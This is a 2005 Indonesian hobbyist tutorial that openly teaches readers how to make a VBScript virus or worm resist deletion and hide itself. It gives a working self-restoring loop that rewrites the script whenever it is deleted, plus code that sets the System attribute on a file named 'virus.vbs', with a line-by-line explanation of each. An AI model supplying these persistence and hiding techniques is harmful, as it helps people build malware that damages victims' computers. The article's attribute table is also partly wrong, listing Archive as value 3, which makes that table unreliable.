� Back

� WWW.SPYROZONE.TK �

 

[051]. Atribut File dan Antideletion pada Visual Basic

 

------------------------------------------------------

Author  : SPYRO KiD

Contact : spyro_zone@yahoo.com ==> www.spyrozone.tk

CopyLEFT (c) 2005 www.spyrozone.tk All Rights Reserved

� 17/08/2005  04:30:45 WIB

------------------------------------------------------

 
 

Huaaah... Kehabisan ide neeh mau bikin artikel apa. Hmmm.. akhirnya ada juga teman yang ngasih "kehidupan" pada pikirannya Spyro. Dia tanya gini "Spy, gimana sich caranya supaya Virus kita ngga' bisa dihapus, tapi pakai ekstensi .VBS ? " Yeah.. trus jadi ingat dech sama tutorialnya [K] tentang antideletion. Disini Spyro akan ngasih tutorial singkat bagi kamu yang belum mengetahui tentang ANTIDELETION dan sekaligus pengesetan atribut file pada VBS.

 

[[[[[[[::::: 1 :::::]]]]]]] ANTIDELETION

 

CATATAN: Agar script ini bisa berjalan, letakan di baris akhir.

Gini neeh scriptnya:

 

------------------------------------------------start
dim fso, myself,mytext
set fso = createobject("scripting.filesystemobject")
set myself = fso.opentextfile(wscript.scriptfullname)
mytext = myself.readall
myself.close
do
if fso.fileexists(wscript.scriptfullname) = false then
set myself = fso.createtextfile(wscript.scriptfullname)
myself.write mytext
myself.close 
end if 
loop 
--------------------------------------------------end
 

:::::::::::::::::::: PENJELASAN :::::::::::::::::::: 


dim fso, myself,mytext
- Mendeklarasikan Variabel


set fso = createobject("scripting.filesystemobject")
- Membuat file system objek

set myself = fso.opentextfile(wscript.scriptfullname)
- Membuat texttream objek memakai file vbs

mytext = myself.readall
- Meletakkan semua file vbs dalam vatiabel mytext

myself.close
- menutup textream

do
- Kerjakan!

if fso.fileexists(wscript.scriptfullname) = false then
- Memeriksa apakah worm kita masih ada?? Jika tidak ada maka...


set myself = fso.createtextfile(wscript.scriptfullname)
- Worm akan "dihidupkan" kembali


myself.write mytext
- Menulis semua variabel textream yang telah kita buat tadi

myself.close
-Tutup
 

end if
menutup kondisi

loop
- Mengulangi langkah-langkah diatasnya....



[[[[[[[::::: 2 :::::]]]]]]] ATRIBUT FILE

 

Apa pentingnya atribut file pada Visual Basic?? Penting banget bro.. Sepertinya Worm jaman sekarang sedang musim bermain-main dengan atribut file. Masih ingat dengan ulah beberapa worm yang suka "menkloning" file dokumen dengan atribut hidden?? Tuch khan. okay.. lansung ajah... 

 

On Error Resume Next
Set Fso = CreateObject("Scripting.FileSystemObject")
Set Gf = Fso.GetFile("c:\virus.vbs")
Gf.Attributes = (Gf.Attributes - Gf.Attributes) + 4

 

:::::::::::::::::::: PENJELASAN ::::::::::::::::::::

 

Naah.. apa lagi yang perlu dijelaskan? Pasti udah pada ngerti doong. Pada bagian akhir:

Gf.Attributes = (Gf.Attributes - Gf.Attributes) + 4

Disana kita NORMALKAN atribut file itu sendiri lalu kita tambahkan (kita berikan) atribut 4 (System). Berikut tabel atribut file beserta penjelasan singkatnya:

 

Atribut

Arti

Penjelasan

0

::: Normal

:: File normal atau tanpa atribut

1

::: Read Only

:: Hanya bisa dibaca tanpa bisa diubah. Jika kamu memodifikasi isi dari file beratribut ini, maka saat kamu melakukan save file, file asli tidak akan berubah seakan-akan kamu melakukan perintah SAVE AS..

2

::: Hidden

:: Hidden/tidak tampak kecuali kamu set show all files pada Folder Option

3

::: Archive

:: Archive...

4

::: System

:: Atribut untuk file system. Dengan atribut ini, file tidak akan tampak meskipun kamu set show all files pada Folder Option.

 

Segitu ajah tutorial dari Spyro. Semoga bermanfaat bagi yang belum mengetahui... bagi yang udah tau.. Ngapain loe baca sampai baris ini!!! Buang-buang waktu ajah..!! hehehe... ;p

  

/* ------------------------------|EOF|------------------------------ */

 

   � Back

� WWW.SPYROZONE.TK �